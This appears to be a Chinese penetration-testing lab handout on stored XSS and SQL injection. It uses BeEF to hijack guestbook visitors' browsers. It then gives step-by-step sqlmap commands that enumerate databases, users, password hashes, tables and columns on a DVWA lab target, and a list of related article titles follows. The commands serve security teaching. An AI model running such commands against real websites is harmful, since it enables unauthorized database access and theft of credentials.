实验三 XSS和SQL注入

实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。
系统环境:Kali Linux 2、Windows Server
网络环境:交换网络结构
实验工具: Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
实验步骤:
XSS部分:利用Beef劫持被攻击者客户端浏览器。
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。
1、利用AWVS扫描留言簿网站(安装见参考文档0.AWVS安装与使用.docx),发现其存在XSS漏洞,截图。

2、Kali使用beef生成恶意代码,截图。

3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,

,截图。

4、管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在beff中的配置截图。
5、回答问题:实验中XSS攻击属于哪种类型?
存储型XSS
下页还有SQL注入,请继续!

SQL注入部分:DVWA+SQLmap+Mysql注入实战

实验环境搭建。启动Metasploitable2虚拟机。
1、注入点发现。首先肯定是要判断是否有注入漏洞。
在输入框输入1,返回
ID: 1
First name: admin
Surname: admin
返回正常;
再次输入1’,报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
此时可以断定有SQL注入漏洞,
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;
2、枚举当前使用的数据库名称和用户名。

你输入的命令:

sqlmap-u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’-b --current-db --current-user
Sqlmap输出截图。

3、枚举数据库用户名和密码
你输入的命令:
sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ --users --password
Sqlmap输出截图。

4、枚举数据库
–dbs:枚举当前数据库
你输入的命令:
Sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ --dbs Sqlmap输出截图。

5、枚举数据库和指定数据库的数据表
-D 数据库名:指定数据库
–tables:枚举指定数据库的所有表
你输入的命令:
Sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ -D dvwa --tables
Sqlmap输出截图。

6、获取指定数据库和表中所有列的信息
-D:指定的数据库
-T:指定数据库中的数据表
–columns:获取列的信息
你输入的命令:
sqlmap -u “http://192.168.43.155/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=f827bec206lecd4b7d7517a3411a1357’ -D dvwa -T users --columns
Sqlmap输出截图。

实验三 XSS和SQL注入相关推荐

  1. 网络渗透测试实验三——XSS和SQL注入

    网络渗透测试实验三--XSS和SQL注入 实验目的 了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计 ...

  2. 网络渗透测试实验三 XSS和SQL

    网络渗透测试实验三 XSS和SQL注入 实验目的:了解什么是XSS:思考防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏 ...

  3. php 完美防sql注入,PHP 完美的防XSS 防SQL注入的代码

    PHP "完美"的防XSS 防SQL注入的代码 function gjj($str) { $farr = array( "/s+/", "/]*?)& ...

  4. 防御CSRF、XSS和SQL注入***

    过滤器 package cn.bizws.ismp.common.web; /**  * @author www.bizws.cn Tom  */ import java.io.File; impor ...

  5. 从php角度分析预防xss和Sql注入

    引言 从php角度分析预防xss和Sql注入,是因为php对这方面做了很好的支持. XSS 概念: Xss即跨站脚本攻击,指攻击者在网页中嵌入恶意脚本程序(一般由html,css,js组成),当用户打 ...

  6. PHP防SQL注入代码,PHP 预防CSRF、XSS、SQL注入攻击

    1.服务端进行CSRF防御 服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数. (1).Cookie Hashing(所有表单都包含同一个伪随机值): 这可能是最简单 ...

  7. PHP之SQL防注入代码,PHP防XSS 防SQL注入的代码

    360提示XSS漏洞?这个XSS漏洞很不好修复.....如果是PHP程序的话,可以用下面的代码来过滤... PHP防XSS 防SQL注入的代码 class protection{public stat ...

  8. xss sql注入 php,利用xss 执行sql注入

    看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1. ...

  9. (超详细)XSS和SQL注入-网络渗透测试实验三

    文章目录 前言 实验目的 系统环境 网络环境 实验工具 XSS部分:利用Beef劫持被攻击者客户端浏览器. 实验环境搭建. 环境搭建参考网站 搭建IIS时踩的坑: 1.利用AWVS扫描留言簿网站,发现 ...

最新文章

  1. 英伟达犯众怒!禁止数据中心用GeForce!这下,英特尔AMD机会来了
  2. 我的本地化关于NSDefaults
  3. 原创 | 常见损失函数和评价指标总结(附公式代码)
  4. [NHibernate]基本配置与测试
  5. Windows编程-- 用户方式中线程的同步---关键代码段(临界区)
  6. oracle-sql优化-通过分组和缓存减少不必要的读
  7. 利用Python自动发送电子邮件
  8. MyBatis-Plus_删除操作
  9. Fluent API — 流畅API(基于Java介绍)
  10. BPMN2.0--消息事件(message)
  11. 拥有自我意识、自我模拟的粒子机器人来了
  12. 【渝粤教育】电大中专电子商务网站建设与维护 (13)作业 题库
  13. Linux服务器jps报process information unavailable
  14. php免杀书籍,php免杀教程【绝对原创+首发】
  15. 梅西大学研究员创造出新3D打印系统 用螺杆作为进料机构挤出颗粒
  16. adventure项目案例分析
  17. 代理服务器的工作原理
  18. GGC/ITF/国自然
  19. 2021年,自媒体人该怎么建立自媒体矩阵?
  20. PS|001制作1寸照片

热门文章

  1. Java 双色球和简单酒店管理系统
  2. struts2优点总结
  3. 使用CyberController来将旧手机改造成电脑外挂
  4. 手机被偷完整找回方案
  5. 莲香·沙罗花飞逝的梦境
  6. c语言中的除号什么作用,c语言中除号用什么表示
  7. php实现阿里云视频合成
  8. 下载网页中的视频(m3u8文件下载,仅供交流学习)
  9. kafka 可以脱离 zookeeper 单独使用吗
  10. canvas粒子线条插件使用